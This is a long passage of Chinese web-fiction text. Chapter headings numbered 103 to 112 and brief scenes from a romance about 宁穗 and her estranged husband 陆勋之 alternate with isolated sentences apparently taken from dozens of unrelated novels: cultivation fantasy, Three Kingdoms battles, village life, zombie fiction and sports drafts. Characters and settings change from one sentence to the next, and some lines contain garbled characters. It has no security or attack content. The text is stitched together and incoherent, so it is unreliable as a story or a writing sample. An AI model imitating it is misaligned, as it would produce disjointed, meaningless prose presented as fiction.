印清河心里想是想,可是脸上却不敢表露分毫,他是最清楚父亲为人的,阴狠毒辣,别看自己是他儿子,可真要狠下心来,他能半点不犹豫的让自己人间蒸发。 可就在长剑出窍之时,他想到了父亲对自己说的话,只有放下仇恨,满怀感恩,你才能得到幸福。 只见薛霸走进一蓝色挂帘房间,出来时候手里捧了一百两银子,原来那里是账房,他进去跟赌坊借钱了。 正面交锋,别说一个国家,就是整个星球贾正金也不怕。问题现在还是“玛希公主”,不能做太多不符合这个身份的事情。 虽然欧阳奕知道不是冷相说的那样,这些事情也不该当着蓝恋夏说。 如今,欧阳澈心中的这根弦在李知时不断的拨动之下终于开始主动的思考这方面的问题,但这天下终究还是只有一个帝王,在不可能投靠金人的情况下,实际上也是没有选择的余地。 同意了大黄留下,因为大黄受伤~奶奶还特赦它可以进刘洋的屋子。 李知时自然不知道,在自己的破坏之下,铁面三人此刻有多么的悲催,如果知道了,不再极度冷静的他可能会动几分恻隐之心,但也仅限于恻隐,该下手的时候还是丝毫都不会含糊。 在何老师的惊讶中,刘洋用拇指扣住无名指,正在试图弹那只,20厘米长的智利火玫瑰博鸟蛛,而捕鸟蛛似乎受惊吓一般,正全力躲在箱子一角,动也不敢动。 第103章 一切都变了 暗昧的氛围,被宁穗的一句话,彻底打散。 看着宁穗冷淡的背影,陆勋之垂在身侧的手指缓缓蜷起,嵌进掌心。 指甲割破皮肤,陆勋之都感觉不到疼痛一样。 坚固强劲、韧性十足、几乎成为了牛头人铁匠们出品的招牌字号。 拳脚动作很慢。如同打太极,但拳脚之间,都卷起强烈的空间波动,仿佛天地都会因此而动荡。 听到方逸尘的答应,龙依研才真的不再多想,放心下来,整理了一下枕头,把手伸进了枕头下面,轻轻的睡去了。 但是现在,本体若是出手,必然会倾尽全力,凝聚所有心神,哪里还有时间来操控分身进行辅助,倒是收几个奴仆,关键时候比分身有用。 毕竟,这些地方的盆景,和川派盆景的派系不同,聂云去这些地区举办的盆景博览会,肯定能看到不少的新面孔。 不对着失败这个成功的娘把头可破,哪那么容易见到成功的风采? 一击骨刀砸下,将方逸尘肩头化开一道深可见骨的口子。来不及恢复,方逸尘只能够以寒冰将伤口冰封,身体猛然侧移飞射出去,躲开了致命的部位,接着是轰然一声那骨刀和其它的几个攻击轰在了下方的飞船上。 庄伯言和唐洁儿去度蜜月,聂云和庄雅雯则是基本傻了眼儿了,在香港这边,两人也没什么活动可以做。干脆,庄伯言和唐洁儿离开的同时,聂云和庄雅雯也决定,直接回到内地去。 按道理来说,特意在排卵期进行『性』生活,受孕几率会很高。反之,不中标的可能『性』就更低,而连续六七个月没动静,这样的概率,程慕怎么算都低于1%,所以,她心事重重。 卡特这番话令东瀛人难以辩驳,论军事力量,米国自然无惧任何人,而在这个紧张的时刻,没有人仔细想想,卡特在言语中已经偷换了概念。 浩南此时未现身,根本不是惧怕什么,而是外出处理媒体的事情了,到现在尚未回来。 今夜,他要血洗丞相府!好让全天下知道,刘备才是匡扶汉室力挽狂澜的救国英雄。 场中一直平静傲然挺立着的,只有林臻六人,他们对于眼前的一切,似乎没有看在眼里,从进来的时候是什么样的,到现在也还是什么样。 当年焰圣的无心之举让古风对他好感倍增,所以当今他才会如此感谢他,这也是他出兵帮助焰圣魔境的原因之一。 撒旦和阿鲁扎比等人顾不上伤者,跑到关押着龙飞宇的房间时,却发现房间的门开着,而龙飞宇已然下落不明。 谁料这丫头早就做好了撒丫子就跑的准备,连师父的话都不听了。 宫曜看了一眼宫悦,示意她不要再问下去,程海安何等聪明和了解他们,再问下去,程海安就该起疑心了。 看着程海安身上还穿着那件衣服,他二话不说,起身,走到程海安的跟前,拉起她就走。 元婴期的修士在如今的各大门派中应该都可以当做长老来对待了,可是这一次龙宫竟然派出了三位。甚至还有一位元婴期巅峰的犀利。 随即,那道紫丹道人的本命灵魂如同被狂风卷起,顿时飞上了半空,消散而去。 第104章 陆勋之没长嘴 宁穗晚上做了很长的梦。 梦里她见到了王三保,回来的时候人身上都是伤,但看到她的时候,王三保还是印象里的笑容。 和蔼又温和。 宁穗冲上去,小心翼翼地扶着王三保,满眼的心疼,“师父,您回来了真好。” 王三保笑了笑,随即脸色微变,“穗穗,对不起啊,没给你带回来陆勋之。” 宁穗愣住。 蓝怡点头,转身去周四发家。周四发自然不在家,从村里来往县城的路线现在火爆,他每日都赶着牛车接送客人赚钱。周四婶张氏和周卫海的妻子胡氏不知道跑哪去找人唠嗑,家里只有周月莲在。 “只这一次,明早还要赶路呢。”蓝怡环住他的脖子,主动吻上他的唇,她也舍不得和周卫极分开。 墨夜明白了,也就是说现在丛林中的异兽处于自由活动无人喂食的状态。 周瑜、周泰、蒋钦诸将赶紧抢上来将孙策救起,又手忙脚乱的抬回到大营。 见状,苏鸿不由长松一口气,知道曙光之城的危机算是暂时解除了。 若梦大师亲临北沟村,全村沸腾,赵里正忙前忙后的,甚至专门蓝怡这里来,跟她讨论了斋饭的菜色,讨了些上好的茶叶去招待若梦大师一行。 最后方舟找到了。他在一面墙上敲了敲。然后发现声音不太对,接着他用力的踹开一块砖,发现这里的墙壁非常的脆弱。 这些东西还不算,最主要的上面还建议垂钓者去买一本美国两百公里经济专属区内的主要鱼类识别手册,贝海看了一下全彩页的。 “你确定要挡我的路吗?”罗兰盯着秦锐的眼睛,身上的圣光越来越盛。 袁否在居巢屯田,局面大好,不仅仅刘勋压力山大,就是孙策也一样感觉到了沉甸甸的压力,因为随着袁否的仁义美名越来越响,庐江的民心、士心将会越来越倾向于袁氏,那么将来,孙氏要想取庐江也就难了。 众人跟着点点头,虽然大家都心照不宣地叫这个男人为凌神,但是大家也都知道,这个男人,他不是神,不然,他怎么可能会有那么悲惨的童年。 此时他满脸黑色再加上胡子,最后还有全身的官戏服,彻底跟之前的红袍道人有着天壤之别。 没想到自己这个从未谋面的母亲,竟然早就给自己准备好了这种逆天的功法。 “明显是来斩草除根的!”叶明沁之所以会把狼崽带出来,除了方便照顾以外,还有就是想到了这个可能。 但却完全不会对她自己造成影响,在这样的环境下,她就是这片领域的绝对王者。 等李火旺跟杨娜来到门口的时候,跟看门的陈红瑜简单地交谈了两句,便走了进去。 “那就好,等我们安定下来了再去给你寻药,我一定会把你治好的。”虽说叶明沁知道自己医术不错,但在这种又没药材又没食材的条件下,无论是治疗还是调养都无法做到。 莲震自个都都了几句,就安静了下来,随即目不转睛的盯着玉清子破解那三个储物袋上的精神印记。 店里的人一直到中午的时候才少下来,叶明沁这才有机会让宋子欣出来把自己换下来去做饭。 当木质的竹简利用人的肉舌头说出了这些话后,随着四周的一切发生扭曲,整个岛上所有人的五官感知同时开始发生变化。 李天一边走着,一边到处看着,寻找着李棋儿和令狐泽两人的身影。 第105章 也就我们穗穗可怜你 师母目光怔怔地看向两人。 王三保的眼神明显冷了几分,对陆勋之的态度急转直下,“你们俩确实不合适,离了也好。” 陆勋之,“……” 坐在一旁的姬木子缓缓睁开眼睛,神色中有些淡淡的不爽,显然这件事让他起了战意。 周秉然叹息一声,也不知道应该和媚儿说些什么,只能转身离开了审讯室,径直奔着外面走去。 “明天……”虽然不知道明天会有什么工作,但是我更担心的是老秦会不会同意让我带外人道工作场合,沉吟了起来。 庞大的紫色法阵浮现在地面上,五枚波动印化作了五颗巨大的焰珠,周围的建筑在顷刻之间荡然无存。 “确实如此。”东方晓点了点头,既然事情已经做了,那就没有什么后悔的余地。 此时的楚晨动用了地遁符,已经带着素云远远的离开五指擎天山脉数百公里之外。 将双拳紧紧握起,让细长的指甲插入手心溢出深黑色的血液,桑嫣努力压抑下满心的怨怼,却怎么也静不下心。 东方晓的眼中露出一丝的坚定之色,或许只有这样,才有机会改变这个结果。 看着宗政皓月的情况恢复正常,压在宗政千曦心里的一块大石落下,让她毫不犹豫的半跪在地,朝着洛雨的方向郑重的发出了誓言。 钟倩的大名现在在a市的警察系统之内绝对是如日中天,大名鼎鼎。 又半个时辰,战斗停止了,张任四人最后都死于乱刀之下,为刘璋尽忠了。 “这件事儿既然妈不想提,我们就别再问了,不过……”吃了几口,夏清雅忽而抬起头来。 丛云领就是有一千张嘴也解释不清,兰斯认定他们就是行刺自己的精灵刺客的同伙,立刻颁布王令称丛云领为王国的叛徒,号召全国上下一起讨伐他,当然兰斯这边自己也开始集结军队。 有了接近,才有机会,有了机会,才能与之周旋,才能慢慢了解她的情况,熟悉她的过往,与她加深沟通,与她进一步的解释,最终,好与她母子相认。 曹仁、郭淮、曹休等人早就带着士卒在城墙上等待,他们已经完成了军阵,就在等待攻城。 突然,一股非常危险的气息在水里向他逼近。一种致命的死亡气息,就在水里,就在瓦里斯的前方不远处。 等到洛米和卡卡西等人赶到事发地点的时候,人已经走光了,只在地上看到一摊鲜血和一根断指。 那些个黑衣蒙面弓箭手一见自己的头领老大虚影都被蛊公子吓得落荒而逃,顿时树倒猢狲散,都一个个狼狈逃窜了。 谁又能说得清楚呢?要是都有一套看得见摸得着的标准,那全世界找的对象都一样一样的了。 夏清雅真恨不得面前有一条地缝让自己钻下去,不然她真的没脸见人了,再对上父母那“我们懂”的眼神儿,她的脸红得几乎都能滴出血了。 “这这不是天梯国的战旗吗?他们怎么来了?贺云龙、贺云龙也来了么?”风雪城城主用眼神搜索着军队之中他想要看到的人影。 这里距离权金城,已经不远,花极天当然要顺道看看,而且昨天的计划,是今天看完金风玉露之后,便去权金城。只是花极天没料到这么轻易搞到了金风玉露,还惹得高晟皓发了火。 第106章 宁穗重新计划离开 唐佳笑声音骤然顿住,一脸莫名其妙地看向乔镇。 对方眼睛亮晶晶的,笑着看唐佳笑,手掌拍得啪啪响,“你说的有道理。” 唐佳笑,“……” 她一脸吃屎的表情,嫌恶道,“你有病吧?” 说完,她拉着宁穗离开。 陆勋之想追,被乔镇拉住,他嫌弃甩开。 王逸飞借着车队的火炉为婴儿熬制了一大锅解毒汤药。最终趁着众人不备之时偷偷的拿出一颗丹药化入其中。 “对,刚才我们都没注意。”林姗姗说着调整频率呼叫教授,可是居然没有反应,连续呼叫了10分钟,一点反应都没有。 别的王爷姑娘外貌上没甚么,心里一紧,他们的运气和蓝夜王爷一样,要么留下,要么进来黑狱,都非常明白,想脱离洛云,那就要冒进来黑狱的凶险。 自己今后的人生肯定往电影电视唱歌跳舞,甚至是综艺节目上靠拢。 钟劫说这话的时候,露出一副人畜无害的表情,表情十分平静地看着黑影。 “未来一星期的房间全部预定出去了,天天都是满房状态。”钦欣笑着道。 温暖的声音很能安抚人心,让宋也的情绪渐渐的平复了下来,一一的按照他吩咐的去做。 这样的机会实际算起来并不多,就上明天的饭,满打满算之下也就剩下了明天的一顿饭了。 穿戴好之后,正准备出门,却意外的被艾米叫住,说了句“程,我等你回来。”同时吻了我一下,随即回到了自己房间。 “还活着,你猜一下是谁?”李如松起身脸色有些阴沉的问吴少东。 这真是冤家路窄,上次鹤山械斗刚子和豪哥就差点死在刀仔手里。 “铛”的一声脆响,冥古借力倒飞而出,九魂圣麟龙带着寒琳落到地上,交由神族,牧师进行治疗。 “夜深,公子请歇息吧,若有什么需要,跟青儿说一声便可!”见杨叶沉默,青儿起身对着杨叶行了一礼,然后转身走出了包厢。 赵天泽留给耿自清一个意味深长且难以参透的问题,然后昂首挺胸径直走出门外。 “为什么?”杨叶不解道。丹师他没听说过,但是先天强者他可是亲眼见到过的。先天强者,在一个宗门内,绝对可以说是中坚力量。而现在,一个什么不是玄者的丹师,居然比先天强者还要珍贵? 被围攻的老者一身暗红的衣裳,全身没有一丝的伤痕,这让唐婉不由得放下心来,场中老者她再为熟悉不过,就是他的爹爹唐冶。 但是不排除石易的同伴含有这样的想法,所以,在他加入到这个计划之中去的时候,萧烨昀就认为,能够得到这其中的消息,石易的想法,他从来都没有猜透,这一次,想借着这个机会,一举击败他。 当李白唱完前面两首在酒吧了唱过的歌,完成热身活动后,他好听的嗓音,对准了扩音器。 而就在这时,洛天却感知到媚儿取出了一个乾坤袋。看到这个乾坤袋后,洛天也是眼前一亮,因为那就是自己的乾坤袋。 她爹是秀才,弟弟也是秀才,以她家的身份,嫁给别人做正室,那是搓搓有余的。 死死的盯着老板看,我迫切的想从他的神态中,看出来我想知道的事情。 至于萧烨阳一回来就抓了魏鸿才,在场的将领都识相的保持着沉默,既没有多嘴询问,也没有向外泄露消息。 第107章 想让她疼疼自己 陆勋之听到这句话,倏地坐直了身体,巴巴地看着门口。 唐桓也是愣了愣。 刹那间,在场的所有人都一下子石化了,感觉口干舌燥。包括叶薇薇都说不出话来了,傻眼了。 街上的行人逐渐在减少,显得很空旷,偶尔从街边的各种营业场所透出灯光,夜色似乎告诉人们,现在是睡觉的时候了。 柳逸风对于外面的一切一无所知,他这次巩固修为足足花费三天多接近四天时间。 王雪的眼中多出一丝落寞和惆怅,让林飞扬的心不知觉的动了一下。 赶出来,我们就感到自己被浓雾包围了,四周都是白茫茫的一片,而且空气非常潮湿,微微带着一股腥气和泥土的气味。 中年胖墩,年轻黄‘毛’,秃顶老头三人瘫倒在桌上,三人一共输了六十多万美元,傻眼了。 “是不是又要走了?”李琪盯着柳逸风黑色的眸子,有些不舍,经历了灵尸的事情,她对柳逸风的感情毫无隐藏。 乾坤袋那巨大的空间中,一枚枚光的晶体差点闪瞎沐大风的眼睛。 随着两人逐渐的靠近村子,张伟发现眼前的这座村子很是热闹,竟然有不少修士从四面八方赶来,全都齐聚于此。 还没等他多想,肖飞和秦奋已经下令开火,各种重火力武器喷吐着子弹对他们进行远距离狂扫。 楼顶的狙击手见状也大吃一惊,他们明明看到子弹的轨迹是冲着赵铁柱的太阳穴去的,赵铁柱也没有任何躲避动作,怎么会没打中呢? 张扬知道孟馨已经发现自己在这了,可是后话以后再说,先把眼前的事解决了再说。 听到这句话的时候,顾玲儿突然瞪大了眸子,她简直要晕了,看来这个大少爷注定是要自己失望了。还明白什么,连猪都能够明白的道理,为什么他就不明白呢? 龙鳞飞迅速地揭开了顾玲儿上衣的两颗纽扣,双手合十地压住顾玲儿的胸膛,连压了几下,顾玲儿轻咳了一声,嘴角流出一些喝入口中的河水,缓缓地睁开了眼睛。 主,还是那个主,天子之下,万万人之上,容不得一人背叛的主。 她忽然发现,妈妈说的话也不无道理,而爸爸做的决定,竟然也是这么的拥有充分理由。 它突然睁开了眼,好像有了些力气,将头蹭到我怀里,伸出带血的舌头,慢慢的舔着我的泪水。 她的丈夫刚过世不久,她还想保留一点贞洁呢,不想让人把她的身子,给白白糟蹋了。 张扬目光朝空姐休息室扫了一眼,看到杨柳柳正拉上帘在寻找针线盒,用神力探进帘子后面,只见杨柳柳一张俏脸气鼓鼓的被涨得通红,眼眶里似乎还咂着泪水。 独角冰猿一掌将那ru白se的长剑击溃,竟然连带着柔儿也惊叫连连的飞入半空,而独角冰猿双脚‘咚咚‘踏地,好似一枚白sep弹般就窜入半空,双掌晃动成了风车,直接奔柔儿脑袋拍去。 二人得令,轻而易举抬起石板,刚放上去,木板四周就开始源源不绝滴水。 第108章 天天在家守着她 宁穗回到主卧,胃里一阵翻腾。 她跌跌撞撞跑到洗手间,干呕了很久,什么都没吐出来。 浑身脱离地坐在浴缸边缘,大口大口喘着气。 她冷着脸脱掉身上的衣服,丢进脏衣篓。 打开莲蓬,温热的水冲遍全身,她才觉得有一丝丝安静。 之前没顾得上,现在君慕清才发现原来孙嬷嬷一直在旁边看着自己。 不太熟练的用筷子夹了一些食物,放进嘴巴里,下一刻眼睛亮起。 这三年里,艾秋秋极少出现,只有每年的月圆之夜,她才会苏醒一次。 五分钟后,前台姑娘接了通电话,笑着跟江一凝赔礼道歉,目送着她进电梯。 这场刺杀跟她的逃跑一样无疾而终,狗皇帝也不敢看什么牡丹了,当即下令打道回府,赶紧回宫,宫里最安全。 君慕清的声音很轻,皇后原本还浮躁的心情,竟是慢慢平复了下来。 萧熠听见周芙辰的心声,就明白此事确实不至于让姝妃有什么体罚,也就只能从物质方面来补偿周芙辰了。 老黄名叫黄油手,他挥舞着马鞭,头抬得高高的,但他听到了郭嘉前来,也是赶紧进了军帐。 二人刀法不同,也是各自摆出的刀招,打了起来,乒乒乓乓地正是好不热闹。 钟荣基说着又要运气,这股气力,比之前强了十倍,而且附带毒气。 “呸。”却没有想到,平时温厚老实的高大理,此时居然一口呸在了张正的脸上,在平时的冷静下,其实一点儿不缺少血性。 “走的那么容易吗?”舰舱里的人走了出来,楚知秋已经很背着他们说话了,没想到还是让他们听到了。 人族万年一次的盛会尚未开启,就已经引得星空大宇宙各大种族之间的猜疑和不安。 楚知秋急窜几步拉开了跟巨蟒的距离,将鬼手短剑拿出来,刃口向上插到地上,然后引着巨蟒过来,“嗤!”剑刃划破蛇皮的声音响起,巨蟒吃痛并没有退缩,而是继续愤怒着追楚知秋。 “报,报掌门!青,青龙门的人来了!他们带着人过来兴师问罪来了!他们说如果不给个合理的说法,今天就直接把我们天尸教给灭了!”这名慌张的黑衣弟子进门以后激动的对着韩玉喊道。 巨大的爆炸后,李帆和吴晨光双双倒了下去,火犀牛顿时虚弱了许多,可在惊天犀牛击下,巨剑已经完全瓦解开来,分散成了三个灵剑。 楚知秋做了个噤声的手势,从桌子上拿了个茶杯,一指点掉杯底贴到墙上,然后将耳朵凑了上去。 第一局刚开始,他看了看自己的阴阳豆,还有四千多个,足够玩一会儿的了。 只见她眼睛里露出一股惊恐之色,紧接着双眼一闭,直接吓晕了过去。 游戏头盔还在疯狂地生产,每个月产出八百万个头盔,仍然满足不了市场的需求,按照腾飞公司预估的游戏人数,至少还要这样高强度生产一年以上才勉强够了。 不过可惜的是,它坏了。它的很多功能不都能再使用,唯独剑上的四颗高科技迷你导弹可以使用,但是也需要手动瞄准。 “这个木雕难道不好吗,这可是我亲手雕刻的,诚实十足,”这时刘旭听到这话。不由嘴角轻笑的在那说道。 不过看到了片尾字幕的时候,刘硕才从中看到出了一些倪端。这部片的资方来自三国,中日韩,所以主角方面各有一人。中方是张柏芝、日方是真田广之、韩方是张东健。 第109章 宁穗又要离开他? 宁穗盯着陆勋之不解的目光,不动声色地拿过手机,将免提关掉,放在耳边。 余光一直警惕观察着陆勋之,语气却很淡定,仿佛在说很平常的事,“时间上你跟桑甜商量吧。我现在身体也没办法跟着你们巡展,到时候要是有什么技术上的问题,可以跟我商量。嗯,就这样,好,再联系,拜拜。” 说完,宁穗挂断了手机,有些不满地看向陆勋之,“下次不要随便接我的电话。” 自从宁穗手术没做成之后,她对陆勋之说话,就完全不顾忌。 陆勋之脸色顿了...... 入秋的时候,终于他们来到了凤麟洲的中部,虽然这里离京兆城还有一些距离。 秀芹安排凌若飞一家子就住在自己屋子附近的一间砖瓦房里,房子挺大的,有两间房间,每个房间里都有一个热炕,冬天的时候这里面很是暖和。 078没有跟其他三位监考官碰面,不知道游惑和秦究的抽卡情况,只知道这两位手气向来极差。 鬼面古玉闻声,也从一旁走到了洛无笙的身旁,俯视着她苍白的脸颊,“这点针的数量,还不够。”说着,就用拿着一排排针开始扎。 苏若瑶关上门,还未喘过气来:他是有妻妾,有孩子的男人。虽帮过我许多,但仍是个陌生男人。我怎么就在他怀中睡了呢,我真不要脸。 鬼面古玉已然顾不得什么了,忙扯着洛无笙就往门外走,边走边再次向众人致歉道:“实在对不住,又没吃药,我这就关回洞里去。”声音落下时,他二人的身影也在众人的错愕中消失了。 他看起来确实非常冷静,但用吴俐的话来说,这个动作是他的安全区。 30队的经理,都坐在了台下,根据选秀顺位排列,从高顺位到低顺位,从左到右,他们的面前都有一个输入器,轮到他们选择的时候,只要输入想要选择的球员,肖华那里就会显示出来,然后公布球队的选择。 “没有,为零,其实他说的对,你真的不用再去挣扎了,好好的过最后的日子吧。”婉君劝道。 “喂喂,你等等我…”洛无笙步子没有一刻的迟缓,可最奇怪的是,鬼面古玉明明就是在漫步,为什么自己跑还跟不上他? “许久了,看来源星真的很遥远。”典风自语,他在虚空夹缝中穿行,已经过了许久,让人难以度量这期间的距离是多少。 “够了!”花璇玑隐忍的声音终于爆发出来,声音大的,让刚刚还很得意的阿凉不由得背后微微发冷。 对于慕容萱的话,罗昊也并未多问何意,找出之前在青云城测试时所获得的那枚徽章。 听到于嫣然透着冰寒的声音,即将爆发地韩厥,如同当头浇了一盆冷水般,瞬间冷静下来,不过眼中的怒火依旧不曾减弱。 “对了,你和沈林风现在是什么情况了?给我说说,这几天你没回来,是不是和他住一块了?”贱贱对这些事情表现出了强烈的好奇心。 我也不由陷入了沉思之中,张莹莹说的没有错,我在感情方面的确是太优柔寡断了,我自以为我这样可以不伤害到别人,但是我越是这样做,越是伤人。 听见我的话,流沙先是顿了顿,然后转过头就走了,拿着电话在嘟囔着什么,开起来时开始召唤自己手下的精英了。 见状,于天龙两人二话不说,挥动回去便是施展强攻,若是陶青峰死了,他们如何与正在疗伤地堂主陶庆交代? 我知道我现在的样子十分狼狈,虽然跟威武十分熟稔,但经他这么一说,我还是觉得十分丢脸。于是我欲盖弥彰地用手捂住了脸,生怕他真的拿来镜子。 “没有,我们只是想找他办点事而已,没别的意思。”张涛说道。 就在这个时候,里面走出来一个提着巨剑的人,步履沉稳,开口就说道:“王越,跟我比一比。”说着单手将巨大的重剑横横提了起来,丝毫不动摇。 望着怀里的她,终于沉静安稳的睡去,没有在呓语了,他终于能稍微安心了。他就这样拥着她,就好象拥有了整个世界。 就在他想叫玉面桃花帮忙是才发现玉面桃花被另一个蓝色的球给困住了,而自己宗门的其他人模样都很是奇怪。 “呵呵,你这个所谓的二品战尊也不过如此嘛。”叶燕青捂着自己发痛的胸口说道。 “哈哈。”韩冰被洛云这可爱的模样给逗笑了,前方就是圣水宫,可接近圣水宫的时候,却感觉有一丝诡异。 她叫的弟弟,韩子烨知道叫的并不是他。因为她只叫自己名字。他曾经不屑于这个“弟弟”的称谓,现在他明白了,“弟弟”从来都是专属于连烁的。好吧,那就不做弟弟好了,本来他就没想过做她弟弟。 李天一几个立即:“陈王,我们要回去找将军,将军一定不会死的。”他们五个是徐荣的精兵,对徐荣同样充满敬意和忠心,此时岂能不着急。 当然了,很多人也承认,那些个算命的人,几千几万个里,有些个有真本事的人,那也说不准,自己找的张瞎子算的不就是很准么? 梁无极犹豫了半天,对旁边一人耳语几句,应该是吩咐他去叫人了。 更何况,那一次苻坚又带了百万大军南下,可以说是历史空前,苻坚明显是为了确保稳妥,不出现任何意外,才一下子带了那么多人。 箭在弦上不得不,羿岩感受着背后传来的压迫感,还是出了那十数根长箭。铮然一声,十数根长箭像是十数道流光,爆燃轰向了风城。 “你……我佩服你。”邱少泽现在面对唐傲真的是无语了,根本不知道说什么好。 其实这上清修士死的也有些憋屈,按说他再不济也是名上清修士,除非是碰到强大无比的太清修士,否则根本不可能这么轻而易举得被人秒杀。 什么?我昏迷了一周?!我惊呆了,那么说,这一周的时间我就是这样沉睡过来的? 第110章 你想跟我弟弟做什么? 宁穗自顾自在厨房找了东西吃,然后就上楼了。 一屋子人面面相觑。 不能再这样子继续下去了,若是再这样继续下去,温情岂不是要操纵着自己活生生的磕死在这里? 这琴通体深褐色,是上好的百年桐木,云岁晚素指轻轻波动琴弦,琴音铮铮,悠荡铿锵。 府门外围了不少看热闹的人,乌七八糟地说着什么,吴氏耳朵像是堵住了一般,根本听不见。 唯有成名,才有底气去应付华艺上市之后,来自鼎盛时期华艺的压力。 易中海吓得冷汗淋漓,在听到王主任的话后,才稍稍松了一口气。 当初三十名仙苗,把清风林挤得满满当当的,半夜都时常听到众人完成任务,在归来途中互相打笑喧闹。 没有媒体采访,上完香,拍完大合照,李明洋把贡品一分,就正式开拍了。 他们两年前来到郑家,就知道这处院子里住着的前辈,是凡俗仙苗当中百年难遇的人物。 李明洋说着自己最近为了钱,打了多少电话,跑了多少公司,失眠了多少天。 同画面色调的规则一样,蓝色代表着内心忧郁和悲伤,黄色代表着内心温暖和喜悦。 相当于中世纪欧洲的童话世界里,杨毅所掌握的知识和见识,绝对是独一无二的,毕竟他是经商的,俗话说商场如战场,对于兵法杨毅研究的并得不多,但胜在知道的多,在落后的童话世界里足够用了。 当然,这可能也和血统有些关系,有王族血统的人变身巨人,即使是无脑巨人,奇行种的概率也会有所增加。不过这也是极限了,即使是最纯正的王族,也不可能变身为智慧巨人。 “滋~滋~”的声音不一会,便散出一条通路来,长老见状连忙顺着白光冲了出去。 而有了这两个新的阵法,洞府的防御与攻击也就再次提升了,如今龟宝舍弃了这两个阵法,也是因为龟宝的修为提升了,这两个阵法已经无法满足龟宝的需求了。 就在远处,塞西尔和他的儿子奥德里奇也是惊讶地看着不远处的萧羽。 “别说他了,你怎么样?说是来我家玩,别又出走。”水青这次是真说笑。 “海悬洞”三字,海映又打了几个手印,那石门才打开,进入里面便是一个宽阔的大厅,厅的两边各有几道石门,看来那便是这里的房间。 可是如见洪荒世界当中,鸿钧三千大道一数已经圆满,杨眉大仙则不理洪荒世界诸事,魔祖罗睺又在阵封当中。 “呼!”龟宝身形一动直接退了出去,崩牛斩也直接劈空了,竟然在龟宝所在的位置上,劈出了一个长长的大沟,顿时周围灰尘就飞扬了起来。 “既然当道友如此有把握,那就听从道友的吧。”阮月怜点了点头,就答应了下来,而经过了这么多天的相处,阮月怜也深深地惊叹龟宝的实力了。 他想到了这一生的凄苦,自幼无父无母无友,随狼而生。虽得恩师指点,自认心比天高,有吞日月之志,待出山一战天下惊,漠北闻风无不丧胆。 第111章 榨干她最后一滴价值 宁穗刚拿起自己最喜欢的芝士蛋糕,咬了一口,看到来人,手里的蛋糕瞬间不香了。 “嫂子,好久不见了啊,你想我了吗?”陆思思大眼睛眨巴着,看上去天真无邪。 宋宜笑在一次翻身后,无意识的仰头看了一眼,却见睡在外边的简虚白恰好面朝着自己侧卧,身周被月色勾勒出一圈莹然的银边,他面容却是掩在黑暗里的,混混沌沌看不清楚——只一双凤眸明明亮亮、平平静静的看着她。 下班后,我开车到了这家酒店的餐厅。真如安然所说,这里宾客爆满。幸亏安然提前订了位置,不然我们说不定要排到什么时候。 十八号毫不畏惧,依旧是一拳砸在了板斧的斧刃上,发出一声尖锐的金属撞击声。 宋宜笑闻言恍然,心中暗暗惭愧,自己只道端木老夫人绝情,却是太后提醒之后,才醒悟过来,这位姨祖母其实也是在尽力保全身边的人了——牺牲沈绮陌,虽然狠心,却又何尝不是无奈之下的选择? 我尴尬的笑下!安然早就感觉到我喜欢她了。而我还像个傻瓜一样,觉得自己伪装的挺好。 唐少岩听明白了,当即‘摸’出了五根银针,在病员头上的五处‘穴’位上,稳稳地刺了进去。 “派可信的人追一追,送点东西吧!”宋宜笑说到这里又沉默了——她当然知道尤家全被流放八百里了,原本倒还不是很担心,毕竟流放是皇太后做的主,太后既允了简虚白的求情,应该会叮嘱对尤家手下留情的。 晋国看着手里的香囊——这是她专门从裴家要来的,据说是裴则死前一直握在手里的东西。 余振霆微微抿了抿唇,却并没有说话,也没有给出什么反应,只是淡淡的看了看林蔓,随即转身,离开了洗手间。 罗军在一边看着,他其实也很少出海。所以对这海上的景色也是有些流连忘返的。 “你是怎么进来的,滚出去。”他的办公室,没有同意谁都进不来。是刚才流光出去时忘了锁上才给对方可乘之机。 姜七伸手在空气中抓握了一把,寻常人看指不定要说她有点毛病。而叶淮安静等在一旁,见她将手指放在鼻尖处嗅了好一会儿。 阵阵可怕的拳脚碰撞声,像是暴雨轰击,噼里啪啦密密麻麻,两道人影时而如蛟龙,翻江倒海,时而轻盈如飞燕,浮光掠影,几乎是眨眼间就硬碰数十招,看的让人眼花缭乱。 听着大兵们的汇报,高铭的眉头紧紧皱在了一起,一座镇子,居然没有丧尸的存在? 高速能电梯约一分钟后抵达第51层,秦宇及随行人员走出电梯。 她将孟起抱得紧紧的,将自己的脸完全贴在了孟起的头上,一句话也不说,眼眶却迅速地红了起来,剔透的泪珠一滴,一滴的滴在了孟起的头发上,脸上。 嘴里嘀嘀咕咕着,一个给七七装肉,一个给七七装各种喝的,一个给七七装水果和蔬菜。剩下一个装点零碎的也够了。 事情解决不了,那片区搁置到现在都没有发展起来,遍地随处可见的烂尾楼。 “少公子如此真诚,又这么直爽,我看南虎阿,你就学学古人,恭敬不如从命吧!”秦宇从旁帮腔。 第112章 碎了,拼回去也有裂缝 说什么这里有一件宁穗一定感兴趣的藏品。 根本就是扯淡。 想让她来见方瑾,才是陆勋之的目的。 蒋龙谭冷哼一声,转身离去,在他身后跟着一个其貌不扬的老者。 荒原广大,孤草摇摆,阵阵疾风沿着断崖峭壁的延伸方向,从断崖两边远方的无尽峰岭吹挂而来,带起点点沙尘,在断崖尽头的低谷区域汇为风带,随后掠过空旷广大的低谷荒原,终于散入荒原尽处的山野森林之中。 “你还欠我债。”柳轻颜说的是当年江东羽答应的才子佳人榜单。 远处的明心见到杨浩没有受到致命伤害,煞白的脸庞稍有缓和,在能量爆炸的瞬间,她把两个坚固的傀儡挡在杨浩他们的身旁,从而减轻他们的伤害。 楚昊天现在一听这东西还有危险他就有点犹豫了,沙虫之王很早就跟随他,某人这一路走来,沙虫之王可是出了不少力,如果这万凝灵元石真这么危险,他可不想让沙虫之王冒险。 听到云子衿没什么大碍,宫夕落终于松了口气,也没问为什么云子衿能化解毒。 问心塔中,江东羽突兀的出现,一眼便洞悉了慕诗蓝的修为跌落。 蛟龙也很好说话,它先入为主的认为云子衿是好人,那黑泫也就是好人。至于他刚才的行为…蛟龙自动忽略。 “嗨,我昨天偷偷给你算了一卦!”贾三才见到李艳阳神秘兮兮道。 幕后的DJ很受伤,但也很兴奋,他在怀疑这家伙哪来的大嗓门,难不成这家伙还练过美声? 那人一边说着,一边挣脱袁大海的手,什么话也不说便继续往前走去,两只手依旧捂着脸,跟个大姑娘似的,走路时屁股还不时摇摆一下,看得袁大海顿时倒胃:莫不成这人是妖? 夜深人静时,钻在被窝里用cd机听徐海的歌,是刘颖最爱做的事。 